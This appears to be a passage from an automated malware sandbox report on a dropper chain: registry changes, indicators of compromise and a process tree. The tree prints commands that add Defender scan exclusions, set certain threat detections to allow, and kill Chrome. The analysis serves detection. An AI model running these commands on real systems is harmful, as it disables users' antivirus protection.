Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{EE15BBBB-9E60-4C52-ABCB-7540FF3DF6B3}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\OOBEREQUESTHANDLER.OOBEREQUESTHANDLER\CURVER	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{6A821279-AB49-48F8-9A27-F6C59B4FF024}\PROXYSTUBCLSID32	OneDriveSetup.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{LJDG576V-FJ1Y-M3DK-T0ZJ-KIMQL256VU13}\1 = "5504"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{0d4e4444-cb20-4c2b-b8b2-94e5656ecae8}\ProxyStubClsid32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{6A821279-AB49-48F8-9A27-F6C59B4FF024}\ProxyStubClsid32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{638805C3-4BA3-4AC8-8AAC-71A0BA2BC284}\1.0\FLAGS\ = "0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\ProgID	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{2E7C0A19-0438-41E9-81E3-3AD3D64F55BA}\PROGID	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{C2FE84F5-E036-4A07-950C-9BFD3EAB983A}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\ = "UpToDateOverlayHandler2 Class"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{ACDB5DB0-C9D5-461C-BAAA-5DCE0B980E40}\TypeLib	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\NucleusNativeMessaging.NucleusNativeMessaging.1\CLSID\ = "{917E8742-AA3B-7318-FA12-10485FB322A2}"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\FileSyncClient.AutoPlayHandler\shell	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{679EC955-75AA-4FB2-A7ED-8C0152ECF409}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{2F12C599-7AA5-407A-B898-09E6E4ED2D1E}\TypeLib	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{2F12C599-7AA5-407A-B898-09E6E4ED2D1E}\ProxyStubClsid32	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{C2FE84F5-E036-4A07-950C-9BFD3EAB983A}\TYPELIB	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{0d4e4444-cb20-4c2b-b8b2-94e5656ecae8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{0d4e4444-cb20-4c2b-b8b2-94e5656ecae8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\BannerNotificationHandler.BannerNotificationHandler	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{0f872661-c863-47a4-863f-c065c182858a}\TypeLib\ = "{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{a7126d4c-f492-4eb9-8a2a-f673dbdd3334}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\DEFAULTICON	FileSyncConfig.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{D0ED5C72-6197-4AAD-9B16-53FE461DD85C}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{2F12C599-7AA5-407A-B898-09E6E4ED2D1E}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{C5FF006E-2AE9-408C-B85B-2DFDD5449D9C}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{F062BA81-ADFE-4A92-886A-23FD851D6406}\TypeLib	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{D0ED5C72-6197-4AAD-9B16-53FE461DD85C}\ProxyStubClsid32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{22A68885-0FD9-42F6-9DED-4FB174DC7344}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{2387C6BD-9A36-41A2-88ED-FF731E529384}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{0776ae27-5ab9-4e18-9063-1836da63117a}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E}\INPROCSERVER32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{0f872661-c863-47a4-863f-c065c182858a}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\NucleusNativeMessaging.NucleusNativeMessaging\CurVer	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{7B37E4E2-C62F-4914-9620-8FB5062718CC}\ = "FileSyncClient Class"	OneDriveSetup.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	242	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	361	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeSun1908b94df837b3158.exeSun1917b8fb5f09db8.exe

pid	process
4252	powershell.exe
4252	powershell.exe
4236	Sun1908b94df837b3158.exe
4236	Sun1908b94df837b3158.exe
4252	powershell.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe
4228	Sun1917b8fb5f09db8.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3036 Explorer.EXE
Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

Sun1908b94df837b3158.exe2PxE4GGl9DYY9cPBnPuTDeuD.exeforfiles.exevtcehcr

pid process

4236 Sun1908b94df837b3158.exe
6132 2PxE4GGl9DYY9cPBnPuTDeuD.exe
7048 forfiles.exe
2260 vtcehcr

pid	process
4236	Sun1908b94df837b3158.exe
6132	2PxE4GGl9DYY9cPBnPuTDeuD.exe
7048	forfiles.exe
2260	vtcehcr

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Sun19262b9e49ad.exeSun191101c1aaa.exeSun19e4ade31b2a.exepowershell.exeSun195a1614ec24e6a.exeSun198361825f4.exe3745972.scrExplorer.EXEcmd.exe2.exePublicDwlBrowser1100.exe3781340.scrrundll32.exe5.exesvchost.exe

description	pid	process
Token: SeCreateTokenPrivilege	4200	Sun19262b9e49ad.exe
Token: SeAssignPrimaryTokenPrivilege	4200	Sun19262b9e49ad.exe
Token: SeLockMemoryPrivilege	4200	Sun19262b9e49ad.exe
Token: SeIncreaseQuotaPrivilege	4200	Sun19262b9e49ad.exe
Token: SeMachineAccountPrivilege	4200	Sun19262b9e49ad.exe
Token: SeTcbPrivilege	4200	Sun19262b9e49ad.exe
Token: SeSecurityPrivilege	4200	Sun19262b9e49ad.exe
Token: SeTakeOwnershipPrivilege	4200	Sun19262b9e49ad.exe
Token: SeLoadDriverPrivilege	4200	Sun19262b9e49ad.exe
Token: SeSystemProfilePrivilege	4200	Sun19262b9e49ad.exe
Token: SeSystemtimePrivilege	4200	Sun19262b9e49ad.exe
Token: SeProfSingleProcessPrivilege	4200	Sun19262b9e49ad.exe
Token: SeIncBasePriorityPrivilege	4200	Sun19262b9e49ad.exe
Token: SeCreatePagefilePrivilege	4200	Sun19262b9e49ad.exe
Token: SeCreatePermanentPrivilege	4200	Sun19262b9e49ad.exe
Token: SeBackupPrivilege	4200	Sun19262b9e49ad.exe
Token: SeRestorePrivilege	4200	Sun19262b9e49ad.exe
Token: SeShutdownPrivilege	4200	Sun19262b9e49ad.exe
Token: SeDebugPrivilege	4200	Sun19262b9e49ad.exe
Token: SeAuditPrivilege	4200	Sun19262b9e49ad.exe
Token: SeSystemEnvironmentPrivilege	4200	Sun19262b9e49ad.exe
Token: SeChangeNotifyPrivilege	4200	Sun19262b9e49ad.exe
Token: SeRemoteShutdownPrivilege	4200	Sun19262b9e49ad.exe
Token: SeUndockPrivilege	4200	Sun19262b9e49ad.exe
Token: SeSyncAgentPrivilege	4200	Sun19262b9e49ad.exe
Token: SeEnableDelegationPrivilege	4200	Sun19262b9e49ad.exe
Token: SeManageVolumePrivilege	4200	Sun19262b9e49ad.exe
Token: SeImpersonatePrivilege	4200	Sun19262b9e49ad.exe
Token: SeCreateGlobalPrivilege	4200	Sun19262b9e49ad.exe
Token: 31	4200	Sun19262b9e49ad.exe
Token: 32	4200	Sun19262b9e49ad.exe
Token: 33	4200	Sun19262b9e49ad.exe
Token: 34	4200	Sun19262b9e49ad.exe
Token: 35	4200	Sun19262b9e49ad.exe
Token: SeDebugPrivilege	4268	Sun191101c1aaa.exe
Token: SeDebugPrivilege	4188	Sun19e4ade31b2a.exe
Token: SeDebugPrivilege	4252	powershell.exe
Token: SeDebugPrivilege	4784	Sun195a1614ec24e6a.exe
Token: SeDebugPrivilege	4772	Sun198361825f4.exe
Token: SeDebugPrivilege	4600	3745972.scr
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeRestorePrivilege	1388	cmd.exe
Token: SeBackupPrivilege	1388	cmd.exe
Token: SeDebugPrivilege	1720	2.exe
Token: SeDebugPrivilege	4648	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	860	3781340.scr
Token: SeDebugPrivilege	2692	rundll32.exe
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeShutdownPrivilege	3036	Explorer.EXE
Token: SeCreatePagefilePrivilege	3036	Explorer.EXE
Token: SeDebugPrivilege	2144	5.exe
Token: SeDebugPrivilege	2556	svchost.exe
Token: SeDebugPrivilege	2692	rundll32.exe
Token: SeDebugPrivilege	1388	cmd.exe

Suspicious use of FindShellTrayWindow 28 IoCs

Processes:

Explorer.EXEsetup_2.tmp

pid	process
3036	Explorer.EXE
3036	Explorer.EXE
5436	setup_2.tmp
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE
3036	Explorer.EXE

Suspicious use of SendNotifyMessage 1 IoCs

Processes:

Explorer.EXE

pid process

3036 Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1788 wrote to memory of 3480	1788	setup_x86_x64_install.exe	setup_installer.exe
PID 1788 wrote to memory of 3480	1788	setup_x86_x64_install.exe	setup_installer.exe
PID 1788 wrote to memory of 3480	1788	setup_x86_x64_install.exe	setup_installer.exe
PID 3480 wrote to memory of 4016	3480	setup_installer.exe	setup_install.exe
PID 3480 wrote to memory of 4016	3480	setup_installer.exe	setup_install.exe
PID 3480 wrote to memory of 4016	3480	setup_installer.exe	setup_install.exe
PID 4016 wrote to memory of 3916	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 3916	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 3916	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 692	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 692	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 692	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 3988	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 3988	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 3988	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 420	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 420	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 420	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 2932	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 2932	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 2932	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 3672	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 3672	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 3672	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4108	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4108	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4108	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4136	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4136	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4136	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4176	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4176	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4176	4016	setup_install.exe	cmd.exe
PID 2932 wrote to memory of 4188	2932	cmd.exe	Sun19e4ade31b2a.exe
PID 2932 wrote to memory of 4188	2932	cmd.exe	Sun19e4ade31b2a.exe
PID 3988 wrote to memory of 4200	3988	cmd.exe	Sun19262b9e49ad.exe
PID 3988 wrote to memory of 4200	3988	cmd.exe	Sun19262b9e49ad.exe
PID 3988 wrote to memory of 4200	3988	cmd.exe	Sun19262b9e49ad.exe
PID 3672 wrote to memory of 4236	3672	cmd.exe	Sun1908b94df837b3158.exe
PID 3672 wrote to memory of 4236	3672	cmd.exe	Sun1908b94df837b3158.exe
PID 3672 wrote to memory of 4236	3672	cmd.exe	Sun1908b94df837b3158.exe
PID 692 wrote to memory of 4228	692	cmd.exe	Sun1917b8fb5f09db8.exe
PID 692 wrote to memory of 4228	692	cmd.exe	Sun1917b8fb5f09db8.exe
PID 692 wrote to memory of 4228	692	cmd.exe	Sun1917b8fb5f09db8.exe
PID 3916 wrote to memory of 4252	3916	cmd.exe	powershell.exe
PID 3916 wrote to memory of 4252	3916	cmd.exe	powershell.exe
PID 3916 wrote to memory of 4252	3916	cmd.exe	powershell.exe
PID 4136 wrote to memory of 4268	4136	cmd.exe	Sun191101c1aaa.exe
PID 4136 wrote to memory of 4268	4136	cmd.exe	Sun191101c1aaa.exe
PID 420 wrote to memory of 4288	420	cmd.exe	Sun193fda712d9f1.exe
PID 420 wrote to memory of 4288	420	cmd.exe	Sun193fda712d9f1.exe
PID 4016 wrote to memory of 4216	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4216	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4216	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4376	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4376	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4376	4016	setup_install.exe	cmd.exe
PID 4108 wrote to memory of 4448	4108	cmd.exe	Sun19de8ff4b6aefeb8.exe
PID 4108 wrote to memory of 4448	4108	cmd.exe	Sun19de8ff4b6aefeb8.exe
PID 4108 wrote to memory of 4448	4108	cmd.exe	Sun19de8ff4b6aefeb8.exe
PID 4016 wrote to memory of 4436	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4436	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4436	4016	setup_install.exe	cmd.exe
PID 4016 wrote to memory of 4484	4016	setup_install.exe	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3036

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:1788

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3480

C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\setup_install.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4016

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
5⤵
- Suspicious use of WriteProcessMemory
PID:3916

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4252

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun19262b9e49ad.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:3988

C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\Sun19262b9e49ad.exe
Sun19262b9e49ad.exe
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4200

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
7⤵
PID:5864

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
8⤵
- Kills process with taskkill
PID:5156

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun1917b8fb5f09db8.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:692

C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\Sun1917b8fb5f09db8.exe
Sun1917b8fb5f09db8.exe
6⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
PID:4228

C:\Users\Admin\Documents\OD0e14SBBZliRZ27CZuHN6LJ.exe
"C:\Users\Admin\Documents\OD0e14SBBZliRZ27CZuHN6LJ.exe"
7⤵
- Executes dropped EXE
PID:1244

C:\Users\Admin\Documents\ELmkNGot1xqLUuo3BwIYbMWD.exe
"C:\Users\Admin\Documents\ELmkNGot1xqLUuo3BwIYbMWD.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5508

C:\Users\Admin\Documents\yBD7FSosC38eayJY9mILOQCc.exe
"C:\Users\Admin\Documents\yBD7FSosC38eayJY9mILOQCc.exe"
7⤵
- Executes dropped EXE
PID:5496

C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
"C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"
8⤵
- Checks computer location settings
PID:7516

C:\Users\Admin\Documents\zFSUT_3Nn_Y4YAc7_AYuyoie.exe
"C:\Users\Admin\Documents\zFSUT_3Nn_Y4YAc7_AYuyoie.exe"
9⤵
PID:8312

C:\Users\Admin\Documents\tC2yWj_GdGUDzxun9gHNWYxt.exe
"C:\Users\Admin\Documents\tC2yWj_GdGUDzxun9gHNWYxt.exe"
9⤵
PID:9140

C:\Users\Admin\AppData\Local\Temp\7zSEE87.tmp\Install.exe
.\Install.exe
10⤵
PID:9196

C:\Users\Admin\AppData\Local\Temp\7zSEF72.tmp\Install.exe
.\Install.exe /S /site_id "668658"
11⤵
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
PID:8248

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
12⤵
PID:8380

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
13⤵
PID:7436

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
14⤵
PID:1456

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
15⤵
PID:2176

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
16⤵
PID:5916

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
13⤵
PID:8288

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
14⤵
PID:2968

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
15⤵
PID:2880

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
16⤵
PID:8012

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
13⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5796

